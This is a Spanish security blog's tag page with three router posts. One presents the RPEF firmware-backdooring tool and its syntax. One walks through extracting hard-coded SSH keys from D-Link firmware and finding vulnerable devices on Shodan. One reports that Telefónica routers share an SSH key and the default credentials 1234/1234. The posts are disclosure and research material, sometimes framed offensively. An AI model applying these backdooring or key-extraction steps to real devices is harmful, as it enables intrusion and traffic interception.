Mostrando entradas con la etiqueta routers. Mostrar todas las entradas
Mostrando entradas con la etiqueta routers. Mostrar todas las entradas

domingo, 5 de abril de 2015

RPEF: la herramienta para backdoorizar routers domésticos


Seguro que todavía resuenan en vuestros oídos noticias sobre la presencia de backdoors en muchos modelos de routers. D-Link, Netis, Netgear, Linksys, Belkin, TRENDnet, MediaLink, Sercomm ... la lista es muy larga. 

Si tu también quieres hacerte el "chino" y vender en eBay tu viejo router con un regalo sorpresa añadido (es broma, no seais malos), puedes usar RPEF...

En la Defcon 20, Michael Coppola presentó una herramienta en Python llamada RPEF (Router Post-Exploitation Framework) con la que automatiza el proceso para añadir un backdoor en un buen número de firmwares para distintos modelos de routers SOHO:

- Belkin: F5D7230-4_v1xxx
- D-Link: DIR-601_1.01NA y DIR-601_2.01NA
- Linksys: WRT120N_1.0.07_(Build_02)
- NETGEAR: WGR614v10_1.0.2.26NA, WGR614v9_1.2.30NA, WNDR3700v1_1.0.16.98NA, WNDR3700v2_1.0.0.12 y WNR1000v3_1.0.2.26NA
- TRENDnet: TEW-651BR_v2.2R_2.00B12 y  TEW-652BRP_v3.2R_3.00B13

La sintaxis básica del script (python 2.6) es: 


./rpef.py <firmware image> <output file> <payload>
 
Una vez que el firmware malicioso está actualizado/instalado y funcionando en el router, el atacante tendrá a su disposición un sniffer de red desde la línea de comandos o un bot que se puede conectar a un canal IRC especificado para lanzar una herramienta DDoS... interesante ¿verdad?

Página del proyecto: https://github.com/mncoppola/rpef
Fuente: http://www.hackplayers.com/2014/12/rpef-la-herramienta-para-backdoorizar-routers.html

jueves, 19 de febrero de 2015

Cómo dumpear las claves SSH desde el firmware de un router

Algunos me preguntáis como sacar las claves ssh de los routers en referencia a la entrada de anoche. Os veo venir... pero bueno, veremos rápidamente como hacerlo extrayendo la imagen del firmware de un router ;)

En esta ocasión sin embargo vamos a dejar al *pobre* Comtrend VG-8050 y vamos a ir a por el D-Link Dsl-2750u (la belleza de la derecha). En concreto vamos a echar un vistazo a una de las versiones de firmware que también viene con un demonio Dropbear 0.46 con "premio": la ME_1.11 de octubre de 2013:

http://www.dlinkmea.com/partner/media/product_item_downloadables/1351-DSL2750U-U1_FW1.11.rar

Después de descargar los menos de 7mb que ocupa el rar, lo descomprimimos y analizamos la imagen con Binwalk, el estándar de facto para el análisis de firmwares:


root@kali:~/firmwares# file GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img 
GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img: data

root@kali:~/firmwares# binwalk GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624       0x1A4900        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes,  1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

Como veis el filesystem es SquashFS, uno de los más ampliamente utilizados en sistemas con Linux embebido, y está comprimido con LZMA en lugar del estandar zlib (algo que también suelen hacer):
root@kali:~# binwalk --dd='squashfs:squashfs' GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624       0x1A4900        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes,  1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# file 1A4900.squashfs 
1A4900.squashfs: Squashfs filesystem, little endian, version 4.0, 5080877 bytes, 1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

El siguiente paso es extraer la imagen y, para ello, vamos a instalar y utilizar la utilidad unsquashfs-2.1 de Jeremy Collake:

apt-get install liblzo2-dev 
git clone https://github.com/devttyS0/sasquatch
make

root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# ./sasquatch/sasquatch 1A4900.squashfs 
SquashFS version [4.0] / inode count [1142] suggests a SquashFS image of the same endianess
Parallel unsquashfs: Using 1 processor
Trying to decompress using default lzma decompressor...
Successfully decompressed with default lzma decompressor
1083 inodes (1113 blocks) to write

[=============================================================\] 1113/1113 100%

created 679 files
created 59 directories
created 123 symlinks
created 281 devices
created 0 fifos

Ahora veremos el filesystem colgando del directorio squashfs-root, por lo que sólo tenemos que ir a pescar nuestras claves...

root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# cd squashfs-root/etc/dropbear/
root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# ls -las
total 16
4 drwxr-xr-x  2 594 594 4096 Oct 24  2013 .
4 drwxr-xr-x 10 594 594 4096 Oct 24  2013 ..
4 -rwxr-xr-x  1 594 594  459 Oct 24  2013 dropbear_dss_host_key
4 -rwxr-xr-x  1 594 594  427 Oct 24  2013 dropbear_rsa_host_key

... y con la herramienta dropbearkey mostrar la clave pública:

root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# dropbearkey -y -f dropbear_rsa_host_key
Public key portion is:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCAmPVBs6DX2/2G6NcLwFI6jP055kbQzxGNNaYngPhR3TT9MMiGnR2waCQYrZq0n7D+RKu9tEiYU05tPiaMqm5z4qHq2OePKIL4jFhcTJk8p0yz1IpPp9FJjvZ6Daw4Mvr+r+RNNnSTn7Iq7bIxWyNgXnQc7Lx7IPmm8JDqskFEtOC7 root@kali
Fingerprint: md5 63:05:01:4f:cd:09:6d:ad:ed:95:ae:89:19:2c:b8:bc

Finalmente sólo nos queda buscar el fingerprint correspondiente:

Link shodan


y tenemos otros 40.000 equipos cuyas comunicaciones podremos descifrar :)

Fuente: http://www.hackplayers.com/2015/02/como-dumpear-las-claves-ssh-del-firmware.html

miércoles, 18 de febrero de 2015

Casi 250.000 routers de Telefónica en España son vulnerables porque tienen las mismas claves SSH

Hoy en el blog de Shodan leía una interesante entrada de John Matherly en el que, mediante el siguiente script, observaba que en Internet existen numerosos fingerprints SSH duplicados:

import shodan

api = shodan.Shodan(YOUR_API_KEY)

# Get the top 1,000 duplicated SSH fingerprints
results = api.count('port:22', facets=[('ssh.fingerprint', 1000)])

for facet in results['facets']['ssh.fingerprint']:
    print '%s --> %s' % (facet['value'], facet['count'])

Realmente esto no es nada nuevo ya que desde hace unos cuantos años se sabe que algunos fabricantes comenten el error de no borrar las claves SSH antes de salvar (y luego distribuir) la imagen de los firmwares de sus dispositivos embebidos, que luego no regeneran las claves en el primer boot. Incluso hay proyectos que recopilan las claves duplicadas: https://code.google.com/p/littleblackbox/.

Pero lo sorprendente es que hay un fingerprint que se repite en un país y con un proveedor en gran número con respecto al resto:

https://www.shodan.io/search?query=fingerprint




Se trata de España y de Telefónica que distribuye casi 250.000 routers para fibras domésticas o FFTH modelo Comtrend VG-8050 con un firmware que contiene un servidor SSH ligero (dropbear 0.46) con las mismas claves ssh:

SSH-2.0-dropbear_0.46
Key type: ssh-rsa
Key: AAAAB3NzaC1yc2EAAAADAQABAAAAgwCKj10BLi11/oSbukFArKJZTXvBvw+AUGfie6fdE7psCNwC
LM5bYnJgjQZMP/VOhJkxkA539e2mM4fW9U4ECAUwgvlF9AZGhcmn0kF0jIjMUDgCV8kFIS85OuBU
/ayyswdYp6bxp3zn0tGAh0Ty8ikf7CgWU5c+PCbpygbBxMDfZM9P
Fingerprint: dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0

Esto significa que hay casi 250.000 usuarios en España que son vulnerables. Muchos de ellos corren por defecto ssh con las credenciales también por defecto 1234/1234 (estos directamente están jodidos vendidos) y todos ellos son susceptibles a ataques MiTM en el que cualquiera podría descifrar sus comunicaciones.

 
El firmware vulnerable es (al menos) el SB01-S412TLF-C07_R03 de 2014 y, que yo sepa, la última versión es la C08_R08. Así que si eres usuario de Telefónica pregunten a su soporte Movistar y ¡actualicen!


Fuente: http://www.hackplayers.com/2015/02/250k-routers-de-telefonica-mismas-claves-ssh.html